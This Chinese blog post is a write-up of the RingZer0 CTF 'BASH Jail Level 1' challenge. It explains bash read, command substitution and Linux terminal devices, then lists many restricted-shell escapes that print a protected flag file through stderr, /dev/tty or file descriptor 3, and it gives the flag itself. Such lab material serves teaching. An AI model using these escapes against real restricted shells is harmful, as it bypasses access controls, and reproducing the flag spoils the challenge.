由一道bash jail題引出的雜事@_@


關鍵詞:Terminal devices、shell、stdio
php

題目入口:

(須要註冊)html

root@kali:~# ssh level1@24.37.41.154 -p 1016
level1@24.37.41.154's password: 

RingZer0 Team Online CTF

BASH Jail Level 1:
Current user is uid=1000(level1) gid=1000(level1) groups=1000(level1)

Flag is located at /home/level1/flag.txt

Challenge bash code:
-----------------------------

while :
do
    echo "Your input:"
    read input
    output=`$input`
done 

-----------------------------
Your input:

先說幾個關鍵點和概念問題,而後再分析writeup,請耐着性子看完吧 ;)node

1. bash code中的關鍵點:

(文檔中的重點用粗體標出)python

  • read

參考文檔:linux

This is a BASH shell builtin.shell

One line is read from the standard input, and the first word is assigned to the first name, the second word to the second name, and so on, with leftover words and their intervening separators assigned to the last name.vim

If there are fewer words read from the standard input than names, the remaining names are assigned empty values.windows

The characters in the value of the IFS variable are used to split the line into words.bash

The backslash character '\' can be used to remove any special meaning for the next character read and for line continuation.網絡

If no names are supplied, the line read is assigned to the variable REPLY. The return code is zero, unless end-of-file is encountered or read times out.


  • Command Substitution (這題使用``)

參考文檔:

Command substitution allows the output of a command to replace the command itself. Command substitution occurs when a command is enclosed as follows:

$(command)

or

`command`

Bash performs the expansion by executing command in a subshell environment and replacing the command substitution with the standard output of the command, with any trailing newlines deleted. Embedded newlines are not deleted, but they may be removed during word splitting. The command substitution $(cat file) can be replaced by the equivalent but faster $(< file).

When the old-style backquote form of substitution is used, backslash retains its literal meaning except when followed by ‘$’, ‘`’, or ‘’. The first backquote not preceded by a backslash terminates the command substitution. When using the $(command) form, all characters between the parentheses make up the command; none are treated specially.

Command substitutions may be nested. To nest when using the backquoted form, escape the inner backquotes with backslashes.

If the substitution appears within double quotes, word splitting and filename expansion are not performed on the results.


  • read會將輸入進行轉義

示例:

root@kali:~/tmp echo `cat passwd`
***********frankunder**************
root@kali:~/tmp echo `cat passwd 1>&2` (此時爲標準錯誤輸出)
***********frankunder**************

root@kali:~/tmp echo `cat passwd 1\>\&2`
cat: '1>&2': No such file or directory(這是stderr)
***********frankunder**************(這是stdout)
root@kali:~/tmp read input
cat passwd 1>&2
root@kali:~/tmp echo $input
cat passwd 1>&2
root@kali:~/tmp echo `$input`
cat: '1>&2': No such file or directory
***********frankunder**************

root@kali:~/tmp 注:在當前文件夾下面有一個passwd文件

2. Terminal devices的一些概念(轉)

  • 簡單說:

1> tty(終端設備的統稱):
tty一詞源於Teletypes,或者teletypewriters,原來指的是電傳打字機,是經過串行線用打印機鍵盤經過閱讀和發送信息的東西,後來這東西被鍵盤與顯示器取代,因此如今叫終端比較合適。
終端是一種字符型設備,它有多種類型,一般使用tty來簡稱各類類型的終端設備。

2> pty(虛擬終端):
可是若是咱們遠程telnet到主機或使用xterm時不也須要一個終端交互麼?是的,這就是虛擬終端pty(pseudo-tty)

3> pts/ptmx(pts/ptmx結合使用,進而實現pty):
pts(pseudo-terminal slave)是pty的實現方法,與ptmx(pseudo-terminal master)配合使用實現pty。


  • 詳細分析

在Linux系統的設備特殊文件目錄/dev/下,終端特殊設備文件通常有如下幾種:
一、串行端口終端(/dev/ttySn)
串行端口終端(Serial Port Terminal)是使用計算機串行端口鏈接的終端設備。計算機把每一個串行端口都看做是一個字符設備。有段時間這些串行端口設備一般被稱爲終端設備,由於那時它的最大用途就是用來鏈接終端。這些串行端口所對應的設備名稱是/dev/tts/0(或/dev/ttyS0), /dev/tts/1(或/dev/ttyS1)等,設備號分別是(4,0), (4,1)等,分別對應於DOS系統下的COM一、COM2等。若要向一個端口發送數據,能夠在命令行上把標準輸出重定向到這些特殊文件名上便可。例如,在命令行提示符下鍵入:echo test > /dev/ttyS1會把單詞」test」發送到鏈接在ttyS1(COM2)端口的設備上。可接串口來實驗。

二、僞終端(/dev/pty/)(新的發行版好像去掉了這個文件夾)
僞終端(Pseudo Terminal)是成對的邏輯終端設備(即master和slave設備, 對master的操做會反映到slave上)。
例如/dev/ptyp3和/dev/ttyp3(或者在設備文件系統中分別是/dev/pty/m3和 /dev/pty/s3)。它們與實際物理設備並不直接相關。若是一個程序把ptyp3(master設備)看做是一個串行端口設備,則它對該端口的讀/ 寫操做會反映在該邏輯終端設備對應的另外一個ttyp3(slave設備)上面。而ttyp3則是另外一個程序用於讀寫操做的邏輯設備。

這樣,兩個程序就能夠經過這種邏輯設備進行互相交流,而其中一個使用ttyp3的程序則認爲本身正在與一個串行端口進行通訊。這很象是邏輯設備對之間的管道操做。對於ttyp3(s3),任何設計成使用一個串行端口設備的程序均可以使用該邏輯設備。但對於使用ptyp3的程序,則須要專門設計來使用 ptyp3(m3)邏輯設備。

例如,若是某人在網上使用telnet程序鏈接到你的計算機上,則telnet程序就可能會開始鏈接到設備 ptyp2(m2)上(一個僞終端端口上)。此時一個getty程序就應該運行在對應的ttyp2(s2)端口上。當telnet從遠端獲取了一個字符時,該字符就會經過m二、s2傳遞給 getty程序,而getty程序就會經過s二、m2和telnet程序往網絡上返回」login:」字符串信息。這樣,登陸程序與telnet程序就經過「僞終端」進行通訊。經過使用適當的軟件,就能夠把兩個甚至多個僞終端設備鏈接到同一個物理串行端口上。

在使用設備文件系統 (device filesystem)以前,爲了獲得大量的僞終端設備特殊文件,使用了比較複雜的文件名命名方式。由於只存在16個ttyp(ttyp0—ttypf) 的設備文件,爲了獲得更多的邏輯設備對,就使用了象q、r、s等字符來代替p。例如,ttys8和ptys8就是一個僞終端設備對。不過這種命名方式目前仍然在RedHat等Linux系統中使用着。

但Linux系統上的Unix98並不使用上述方法,而使用了」pty master」方式,例如/dev/ptm3。它的對應端則會被自動地建立成/dev/pts/3。這樣就能夠在須要時提供一個pty僞終端。目錄 /dev/pts是一個類型爲devpts的文件系統,而且能夠在被加載文件系統列表中看到。雖然「文件」/dev/pts/3看上去是設備文件系統中的一項,但其實它徹底是一種不一樣的文件系統。
即: TELNET ---> TTYP3(S3: slave) ---> PTYP3(M3: master) ---> GETTY

實驗:
一、在X下打開一個或N個終端窗口
二、#ls /dev/pt*
三、關閉這個X下的終端窗口,再次運行;比較兩次輸出信息就明白了。
在RHEL4環境下: 輸出爲/dev/ptmx /dev/pts/1存在一(master)對多(slave)的狀況

三、控制終端(/dev/tty)
若是當前進程有控制終端(Controlling Terminal)的話,那麼/dev/tty就是當前進程的控制終端的設備特殊文件。可使用命令」ps –ax」來查看進程與哪一個控制終端相連。對於你登陸的shell,/dev/tty就是你使用的終端,設備號是(5,0)。使用命令」tty」能夠查看它具體對應哪一個實際終端設備。/dev/tty有些相似於到實際所使用終端設備的一個聯接。

四、控制檯終端(/dev/ttyn, /dev/console)
在Linux 系統中,計算機顯示器一般被稱爲控制檯終端 (Console)。它仿真了類型爲Linux的一種終端(TERM=Linux),而且有一些設備特殊文件與之相關聯:tty0、tty一、tty2 等。當你在控制檯上登陸時,使用的是tty1。使用Alt+[F1—F6]組合鍵時,咱們就能夠切換到tty二、tty3等上面去。tty1–tty6等稱爲虛擬終端,而tty0則是當前所使用虛擬終端的一個別名,系統所產生的信息會發送到該終端上(這時也叫控制檯終端)。所以無論當前正在使用哪一個虛擬終端,系統信息都會發送到控制檯終端上。你能夠登陸到不一樣的虛擬終端上去,於是可讓系統同時有幾個不一樣的會話期存在。只有系統或超級用戶root能夠向 /dev/tty0進行寫操做 即下例:
一、# tty(查看當前TTY)
/dev/tty1
二、#echo "test tty0" > /dev/tty0
test tty0

5 虛擬終端(/dev/pts/n)
在Xwindows模式下的僞終端.

6 其它類型
Linux系統中還針對不少不一樣的字符設備存在有不少其它種類的終端設備特殊文件。例如針對ISDN設備的/dev/ttyIn終端設備等。這裏再也不贅述。

FAQ: 終端和控制檯

Q:/dev/console 是什麼?

A:/dev/console即控制檯,是與操做系統交互的設備,系統將一些信息直接輸出到控制檯上。目前只有在單用戶模式下,才容許用戶登陸控制檯。

Q:/dev/tty是什麼?

A:tty設備包括虛擬控制檯,串口以及僞終端設備。
/dev/tty表明當前tty設備,在當前的終端中輸入 echo 「hello」 > /dev/tty ,都會直接顯示在當前的終端中。

Q:/dev/ttyS*是什麼?

A:/dev/ttyS*是串行終端設備。

Q:/dev/pty*是什麼?

A:/dev/pty*即僞終端,所謂僞終端是邏輯上的終端設備,多用於模擬終端程序。例如,咱們在X Window下打開的終端,以及咱們在Windows使用telnet 或ssh等方式登陸Linux主機,此時均在使用pty設備(準確的說在使用pty從設備)。

Q:/dev/tty0與/dev/tty1 …/dev/tty63是什麼?它們之間有什麼區別?

A:/dev/tty0表明當前虛擬控制檯,而/dev/tty1等表明第一個虛擬控制檯,例如當使用ALT+F2進行切換時,系統的虛擬控制檯爲/dev/tty2 ,當前的控制檯則指向/dev/tty2

Q:如何肯定當前所在的終端(或控制檯)?

A:使用tty命令能夠肯定當前的終端或者控制檯。

Q:/dev/console是到/dev/tty0的符號連接嗎?

A: 目前的大多數文本中都稱/dev/console是到/dev/tty0的連接(包括《Linux內核源代碼情景分析》),可是這樣說是不確切的。根據內核文檔,在2.1.71以前,/dev/console根據不一樣系統的設定能夠連接到/dev/tty0或者其餘tty*上,在2.1.71版本以後則徹底由內核控制。目前,只有在單用戶模式下能夠登陸/dev/console(能夠在單用戶模式下輸入tty命令進行確認)。

Q:/dev/tty0與/dev/fb*有什麼區別?

A: 在Framebuffer設備沒有啓用的系統中,可使用/dev/tty0訪問顯卡。

Q:關於終端和控制檯的區別能夠參考哪些文本

A: 能夠參考內核文檔中的 Documents/devices.txt 中關於」TERMINAL DEVICES」 的章節。另外,《Linux內核源代碼情景分析》的8.7節 以及《Operating Systems : Design and Implementation》中的3.9節(第3版中爲3.8節)都對終端設備的概念和歷史作了很好的介紹。另外在《Modern Operating system》中也有對終端設備的介紹,因爲與《Operating Systems : Design and Implementation》的做者相同,因此文本內容也大體相同。須要注意的一點是《Operating Systems : Design and Implementation》中將終端設備分爲3類,而《Modern Operating system》將終端硬件設備分爲2類,差異在於前者將 X Terminal做爲一個類別。


有功夫的話看看這個吧:

kernel.org上的文檔:

Terminal devices

Terminal, or TTY devices are a special class of character devices. A terminal device is any device that could act as a controlling terminal for a session; this includes virtual consoles, serial ports, and pseudoterminals (PTYs).

All terminal devices share a common set of capabilities known as line disciplines; these include the common terminal line discipline as well as SLIP and PPP modes.

All terminal devices are named similarly; this section explains the naming and use of the various types of TTYs. Note that the naming conventions include several historical warts; some of these are Linux-specific, some were inherited from other systems, and some reflect Linux outgrowing a borrowed convention.

A hash mark (#) in a device name is used here to indicate a decimal number without leading zeroes.

Virtual consoles and the console device

Virtual consoles are full-screen terminal displays on the system video monitor. Virtual consoles are named /dev/tty#, with numbering starting at /dev/tty1; /dev/tty0 is the current virtual console. /dev/tty0 is the device that should be used to access the system video card on those architectures for which the frame buffer devices (/dev/fb*) are not applicable. Do not use /dev/console for this purpose.

The console device, /dev/console, is the device to which system messages should be sent, and on which logins should be permitted in single-user mode. Starting with Linux 2.1.71, /dev/console is managed by the kernel; for previous versions it should be a symbolic link to either /dev/tty0, a specific virtual console such as /dev/tty1, or to a serial port primary (tty, not cu) device, depending on the configuration of the system.

Serial ports

Serial ports are RS-232 serial ports and any device which simulates one, either in hardware (such as internal modems) or in software (such as the ISDN driver.) Under Linux, each serial ports has two device names, the primary or callin device and the alternate or callout one. Each kind of device is indicated by a different letter. For any letter X, the names of the devices are /dev/ttyX# and /dev/cux#, respectively; for historical reasons, /dev/ttyS# and /dev/ttyC# correspond to /dev/cua# and /dev/cub#. In the future, it should be expected that multiple letters will be used; all letters will be upper case for the 「tty」 device (e.g. /dev/ttyDP#) and lower case for the 「cu」 device (e.g. /dev/cudp#).

The names /dev/ttyQ# and /dev/cuq# are reserved for local use.

The alternate devices provide for kernel-based exclusion and somewhat different defaults than the primary devices. Their main purpose is to allow the use of serial ports with programs with no inherent or broken support for serial ports. Their use is deprecated, and they may be removed from a future version of Linux.

Arbitration of serial ports is provided by the use of lock files with the names /var/lock/LCK..ttyX#. The contents of the lock file should be the PID of the locking process as an ASCII number.

It is common practice to install links such as /dev/modem which point to serial ports. In order to ensure proper locking in the presence of these links, it is recommended that software chase symlinks and lock all possible names; additionally, it is recommended that a lock file be installed with the corresponding alternate device. In order to avoid deadlocks, it is recommended that the locks are acquired in the following order, and released in the reverse:

  1. The symbolic link name, if any (/var/lock/LCK..modem)
  2. The 「tty」 name (/var/lock/LCK..ttyS2)
  3. The alternate device name (/var/lock/LCK..cua2)

In the case of nested symbolic links, the lock files should be installed in the order the symlinks are resolved.

Under no circumstances should an application hold a lock while waiting for another to be released. In addition, applications which attempt to create lock files for the corresponding alternate device names should take into account the possibility of being used on a non-serial port TTY, for which no alternate device would exist.

Pseudoterminals (PTYs)

Pseudoterminals, or PTYs, are used to create login sessions or provide other capabilities requiring a TTY line discipline (including SLIP or PPP capability) to arbitrary data-generation processes. Each PTY has a master side, named /dev/pty[p-za-e][0-9a-f], and a slave side, named /dev/tty[p-za-e][0-9a-f]. The kernel arbitrates the use of PTYs by allowing each master side to be opened only once.

Once the master side has been opened, the corresponding slave device can be used in the same manner as any TTY device. The master and slave devices are connected by the kernel, generating the equivalent of a bidirectional pipe with TTY capabilities.

Recent versions of the Linux kernels and GNU libc contain support for the System V/Unix98 naming scheme for PTYs, which assigns a common device, /dev/ptmx, to all the masters (opening it will automatically give you a previously unassigned PTY) and a subdirectory, /dev/pts, for the slaves; the slaves are named with decimal integers (/dev/pts/# in our notation). This removes the problem of exhausting the namespace and enables the kernel to automatically create the device nodes for the slaves on demand using the 「devpts」 filesystem.

3. stdio與Terminal devices的關係

  • 示例
root@kali:~# ll /dev/pts/
total 0
drwxr-xr-x  2 root root      0 Jun 19 17:58 .
drwxr-xr-x 20 root root   3260 Jun 20 11:25 ..
crw--w----  1 root tty  136, 0 Jun 20 11:47 0
crw--w----  1 root tty  136, 1 Jun 20 11:42 1
crw--w----  1 root tty  136, 2 Jun 20 12:09 2
crw--w----  1 root tty  136, 3 Jun 20 12:09 3
crw--w----  1 root tty  136, 4 Jun 20 11:47 4
crw--w----  1 root tty  136, 5 Jun 20 11:47 5
crw--w----  1 root tty  136, 6 Jun 20 11:47 6
crw--w----  1 root tty  136, 7 Jun 20 11:57 7
crw--w----  1 root tty  136, 8 Jun 20 12:22 8
crw--w----  1 root tty  136, 9 Jun 20 12:51 9
c---------  1 root root   5, 2 Jun 19 17:58 ptmx
root@kali:~# tty
/dev/pts/9
root@kali:~# ll /dev | grep std
lrwxrwxrwx   1 root       root            15 Jun 19 17:58 stderr -> /proc/self/fd/2
lrwxrwxrwx   1 root       root            15 Jun 19 17:58 stdin -> /proc/self/fd/0
lrwxrwxrwx   1 root       root            15 Jun 19 17:58 stdout -> /proc/self/fd/1
root@kali:~# ll /proc/self/fd/
total 0
dr-x------ 2 root root  0 Jun 20 12:52 .
dr-xr-xr-x 9 root root  0 Jun 20 12:52 ..
lrwx------ 1 root root 64 Jun 20 12:52 0 -> /dev/pts/9
lrwx------ 1 root root 64 Jun 20 12:52 1 -> /dev/pts/9
lrwx------ 1 root root 64 Jun 20 12:52 2 -> /dev/pts/9
lr-x------ 1 root root 64 Jun 20 12:52 3 -> /proc/29513/fd
root@kali:~#

如上圖,我在X Windows下開了9個「虛假」terminal,目前用的這個是第9個,stdio最終軟鏈接到/dev/pts/9,代表標準輸出均輸出到目前的這個terminal中。

4. Terminal與shell的關係

簡單來講:

  • terminal = tty = text input/output environment
  • console = physical terminal
  • shell = command line interpreter

因此,咱們在terminal裏面執行bash,只能說是打開了一個subshell,而不能說是新開了一個terminal/tty。terminal是一個「設備」,shell是一個交互軟件,用於和內核交流,咱們的shell依託於terminal這個」設備「進行顯示和接受輸入。

5. 對題目和writeup的分析

(感謝一航同志提供彙總後的writeups http://www.jianshu.com/u/bf30f18c872c )

分析:
這道題的執行流程爲 循環{ read->轉義->變量input 將input在subshell中執行輸出的stdout賦值給變量output 若是輸出中存在stderr,則將stderr輸出到/dev/pts/下對應的master side 即當前使用的」虛假「terminal/tty}。所以咱們在一般狀況下只能看到stderr的輸出,看不到stdout輸出(賦值給了變量)。
由此考慮如下兩個大方向:
1.將flag的內容做爲非stdout流輸出。(與shell程序不產生關係,流不會被截獲)
2.繞過bash code中的賦值語句,手動將flag內容輸出到當前控制tty中(與shell的程序不產生關係,流不會被截獲)。

值得注意的是,像bash和python這樣可以產生交互的命令,它們執行的時候產生的提示語句一般輸出爲stderr(不知道爲啥,感興趣的同窗能夠查一查),例如:

root@kali:~/tmp python 2> stderr
>>> This is a test sentence
>>> >>> root@kali:~/tmp# 
root@kali:~/tmp cat stderr 
Python 2.7.13 (default, Jan 19 2017, 14:48:08) 
[GCC 6.3.0 20170118] on linux2
Type "help", "copyright", "credits" or "license" for more information.
  File "<stdin>", line 1
    This is a test sentence
                 ^
SyntaxError: invalid syntax

KeyboardInterrupt

root@kali:~/tmp#

因此除了使用像」&> >&「這種重定向bash語句外,咱們也可使用使用一些帶有交互的命令執行flag文件,產生的錯誤流中一般就有對應的flag內容。另外,若是要使用>&,因爲read對輸入進行了轉義,應該另開一個shell/bash再使用(eval除外)。

如下的writeups有一些的步驟是沒有必要的或者重複的,你們沒必要糾結,思路對了就行。

0x00
Your input:
bash flag.txt
flag.txt: line 1: FLAG-U96l4k6m72a051GgE5EN0rA85499172K: command not found

- 方向1,利用bash的提示語句爲stderr進行反顯。
0x01
Your input:
dd if=/home/level1/flag.txt of=/dev/tty
FLAG-U96l4k6m72a051GgE5EN0rA85499172K
0+1 records in
0+1 records out
38 bytes (38 B) copied, 0.0010536 s, 36.1 kB/s

- 方向2,繞過shell,直接將flag內容輸出到當前的執行tty,同時dd語句中沒有特殊字符,不用顧忌轉義的問題。
0x02
Your input:
bash
level1@lxc17-bash-jail:~$ cat flag.txt 1>&2
FLAG-U96l4k6m72a051GgE5EN0rA85499172K
level1@lxc17-bash-jail:~$

- 方向1,因爲轉義的問題,新開一個bash將flag內容定向到錯誤流中進行返顯。
0x03
Your input:
bash
level1@lxc17-bash-jail:~$ cat flag.txt > /dev/tty
FLAG-U96l4k6m72a051GgE5EN0rA85499172K

- 方向2,不過因爲使用的重定向語句>, 須要在新開的shell/bash中使用>,避免轉義的問題。
0x04

man page for eval
eval會把後面的字符串遞歸進行變量替換並在當前shell嘗試執行這個字符串
因此沒必要擔憂轉義的問題,由於eval自己要求的參數就是將字符串。

Your input:
eval cat /home/level1/flag.txt >&2
FLAG-U96l4k6m72a051GgE5EN0rA85499172K

- 方向1
0x05

man bash:

-x      After expanding each simple command, for command, case command, select command, or  arithmetic  for command, display the expanded value of **PS4**, followed by the command and its expanded arguments or associated word list.
 
       PS0    The value of this parameter is expanded (see PROMPTING below) and displayed by interac‐tive shells after reading a command and before the command is executed.
       PS1    The value of this parameter is expanded (see PROMPTING below) and used as  the  primary prompt string.  The default value is ``\s-\v\$ ''.
       PS2    The  value  of  this parameter is expanded as with PS1 and used as the secondary prompt string.  The default is ``> ''.
       PS3    The value of this parameter is used as the prompt for the  select  command  (see  SHELL GRAMMAR above).
       PS4    The  value  of  this  parameter is expanded as with PS1 and the value is printed before each command bash displays during an execution trace.  The first character  of  PS4  is replicated  multiple  times,  as necessary, to indicate multiple levels of indirection. The default is ``+ ''.

參考: https://stackoverflow.com/questions/10107124/bash-x-command

Your input:
bash -x prompt.sh
+ echo
+ echo -e '\033[0;34mRingZer0 Team Online CTF\033[0m'
+ echo
+ echo 'BASH Jail Level 1:'
++ id
+ echo 'Current user is uid=1000(level1) gid=1000(level1) groups=1000(level1)'
+ echo
++ pwd
+ echo 'Flag is located at /home/level1/flag.txt'
+ echo
+ echo 'Challenge bash code:'
+ echo -----------------------------
+ echo -e '\033[0;31m'
+ sed -e 1,19d
+ echo -e '\033[0m'
+ echo -----------------------------
+ :
+ echo 'Your input:'
+ read input
cat flag.txt
++ cat flag.txt
+ output=FLAG-U96l4k6m72a051GgE5EN0rA85499172K
+ :
+ echo 'Your input:'
+ read input

- 方向1,在新的shell中(仍是初始的shell,可是在這種環境下會顯示執行的狀況,output的值以stderr的流輸出)
0x06

這個方法頗有意思,你們可能會想說爲何要定向到標準輸入流中,請回看」3. stdio與Terminal devices的關係「,其中顯示,其實三個sidio都是默認輸出到當前tty的,可是程序吧stdout截獲了賦值給變量,因此其實咱們重定向到0或者2都是能夠回顯的。

Your input:
bash
level1@lxc17-bash-jail:~$  cat flag.txt >&0
FLAG-U96l4k6m72a051GgE5EN0rA85499172K

- 方向1
0x07
Your input:
bash
level1@lxc17-bash-jail:~$ awk '{system("wc "$1)}' /home/level1/flag.txt 
wc: FLAG-U96l4k6m72a051GgE5EN0rA85499172K: No such file or directory

- 方向1
0x08
Your input:
bash
level1@lxc17-bash-jail:~$ cat `cat flag.txt`
cat: FLAG-U96l4k6m72a051GgE5EN0rA85499172K: No such file or directory

- 方向1
0x09
Your input:
bash
level1@lxc17-bash-jail:~$ PS1=$(cat flag.txt)
FLAG-U96l4k6m72a051GgE5EN0rA85499172KA

- 方向1,PS1在第5題中有解釋,是一個提示符。
0x0A
Your input:
bash
level1@lxc17-bash-jail:~$ arp -f -v /home/level1/flag.txt
>> FLAG-U96l4k6m72a051GgE5EN0rA85499172K
arp: format error on line 1 of etherfile /home/level1/flag.txt !

- 方向1
0x0B

這個解法也頗有意思。
tty這個命令會顯示當前使用的tty在dev下的絕對路徑,eval是用來避開轉義的(上面有講到)。
其實eval $(vi passwd > tty)就能夠啦。若是流的輸出不是一個tty,vim會向tty輸出stderr流。

Your input:
eval $(vi /home/level1/flag.txt < `tty` > `tty`)

- 方法2
0x0C
Your input:
eval `cat /home/level1/flag.txt`
/home/level1/prompt.sh: line 24: FLAG-U96l4k6m72a051GgE5EN0rA85499172K: command not found

- 方向1
0x0D
Your input:
bash
level1@lxc17-bash-jail:~$ (>&2 grep [a-zA-Z] flag.txt)
FLAG-U96l4k6m72a051GgE5EN0rA85499172K

- 方向1
0x0E
Your input:
python
Python 2.7.6 (default, Jun 22 2015, 17:58:13) 
[GCC 4.8.2] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import sys
>>> sys.stdout = sys.stderr
>>> with open("flag.txt", "r") as f:
...     print f.read()
... 
FLAG-U96l4k6m72a051GgE5EN0rA85499172K
>>>

- 方向1
0x0F
Your input:
. /home/level1/flag.txt
/home/level1/flag.txt: line 1: FLAG-U96l4k6m72a051GgE5EN0rA85499172K: command not found
0x10
Your input:
source /home/level1/flag.txt
/home/level1/flag.txt: line 1: FLAG-U96l4k6m72a051GgE5EN0rA85499172K: command not found

-方向1 不過要求flag.txt具備執行權限
0x11
Your input:
bash
level1@lxc17-bash-jail:~$ bash >&2
level1@lxc17-bash-jail:~$ cat /home/level1/flag.txt
FLAG-U96l4k6m72a051GgE5EN0rA85499172K: command not found

- 方向1
0x12
Your input:
bash
level1@lxc17-bash-jail:~$ $(cat /home/level1/flag.txt)
bash: FLAG-U96l4k6m72a051GgE5EN0rA85499172K: command not found

- 方向1
0x13

哈哈 這個解法讓我大吃了一斤。。。
默認狀況下的文件描述符:
0 - stdin
1 - stdout
2 - stderr
該解法新建了一個文件描述符3,並將stdout流重定向到3(最終也是軟鏈接到當前使用的」虛假「tty),因此shell程序不會截獲流並賦值給變量。

Your input:
sh
sh-4.3$ cat flag.txt >&3
FLAG-U96l4k6m72a051GgE5EN0rA85499172K

- 既不是方向1的stderr流,也不是方向2的直接導向/dev/tty。
0x14
Your input:
bash
level1@lxc17-bash-jail:~$ a'|'"ls -la $SHELL;`cat $HOME/flag.txt`"
bash: a|ls -la /home/level1/prompt.sh;FLAG-U96l4k6m72a051GgE5EN0rA85499172K: No such file or directory

- 方向1
0x15
Your input:
python flag.txt
Traceback (most recent call last):
  File "flag.txt", line 1, in <module>
    FLAG-U96l4k6m72a051GgE5EN0rA85499172K
NameError: name 'FLAG' is not defined

- 方向1
0x16
Your input:
bash
level1@lxc17-bash-jail:~$ `ls`
bash: flag.txt: command not found
level1@lxc17-bash-jail:~$ `cat flag.txt`
bash: FLAG-U96l4k6m72a051GgE5EN0rA85499172K: command not found

- 方向1
0x17
Your input:
eval "$(cat flag.txt)"
/home/level1/prompt.sh: line 24: FLAG-U96l4k6m72a051GgE5EN0rA85499172K: command not found

- 方向1

有錯誤的地方還請多多指教 ;)

6. 參考 感謝:

  1. https://ss64.com/bash/read.html
  2. https://tiswww.case.edu/php/chet/bash/bashref.html#Shell-Expansions
  3. http://www.linfo.org/standard_error.html
  4. https://unix.stackexchange.com/questions/4126/what-is-the-exact-difference-between-a-terminal-a-shell-a-tty-and-a-con
  5. http://www.readfree.net/htm/200908/4786353.html
  6. https://www.kernel.org/doc/html/latest/admin-guide/devices.html
相關文章
相關標籤/搜索